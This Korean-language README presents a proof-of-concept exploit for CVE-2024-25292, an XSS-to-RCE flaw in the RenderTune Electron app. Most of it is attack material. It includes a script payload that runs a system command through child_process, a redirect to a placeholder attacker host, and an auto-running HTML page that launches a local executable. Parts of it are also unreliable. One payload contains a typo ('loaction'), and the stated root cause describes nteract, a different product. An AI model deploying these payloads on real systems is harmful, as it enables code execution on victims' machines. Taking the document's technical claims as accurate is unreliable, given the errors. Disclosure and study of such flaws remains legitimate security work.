RenderTune RCE

CVE-2024-25292 취약점에 대한 개념 증명(PoC)입니다.

RenderTune v1.1.4의 XSS(교차 사이트 스크립팅) 취약점으로 인해 공격자가 Upload Title 매개변수에 조작된 페이로드를 주입하여 임의의 웹 스크립트나 HTML을 실행할 수 있습니다. 이 저장소에는 취약한 애플리케이션 예제와 이에 대한 개념 증명(PoC) 익스플로잇이 포함되어 있습니다.

PoC로는 프로세스를 자동화하는 Python 파일이 있습니다.

1. 취약점 개요:

XSS를 통해 RCE를 가능하게 하는 취약점입니다. 제목에 XSS가 가능한 부분이 있어, XSS 구문을 통해 NodeJS 구문으로 RCE를 가능하게 하는 취약점입니다.

2. 취약점 원인:

nteract 0.28.0은 Markdown 링크를 통해 Electron webview를 허용하며, 결과적으로 원격 코드 실행이 발생합니다 (webPreferences에서 nodeIntegration이 true이기 때문).
익스플로잇 설명
- 애플리케이션 내에서 MarkDown을 통해 링크를 생성하면 Electron을 통해 WebView가 생성되어 외부에서 링크에 접근할 수 있습니다. 결과적으로 공격자는 공격자의 서버로 연결되는 링크에 접속함으로써 원격 코드 실행(RCE)을 달성할 수 있습니다.

개념 증명(PoC)

사례 1) XSS에서 RCE로.

1단계) 제목 부분에 XSS가 발생하는지 확인 ※ 이때 이미지가 첨부되지 않으면 Upload 항목이 등록되지 않습니다.

<b>jruru</b>

2단계) 따라서 XSS를 사용하여 NodeJS 시스템 명령을 실행하도록 구성합니다.

<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

사례 2) 공격자 서버를 통한 공격

※ window.location을 사용하여 공격을 시도하면 앱을 실행할 때마다 설정한 페이지로 자동 이동합니다.

<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>

참고: ※ 빠르게 테스트하려면 공격자 PC에서 다음 코드로 서버를 생성하세요.

$ python -m http.server 80

PoC 코드

<html>
<head>
  <title>jruru Link</title>
</head>
<body>

  <!-- Run scripts using on-click properties directly to the tag -->
  <a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>

  <script>
    // Script function definition
    function openExternal() {
      try {
        const { shell } = require('electron');
        shell.openExternal('file:C:/Windows/System32/calc.exe');
      } catch(e) {
        alert('JRURU');
        alert(e);
      }
    }

    // Run script automatically when loading pages
    document.addEventListener('DOMContentLoaded', function() {
      openExternal();
    });
  </script>
</body>
</html>

renderTune3

CVE-2024-25292

인기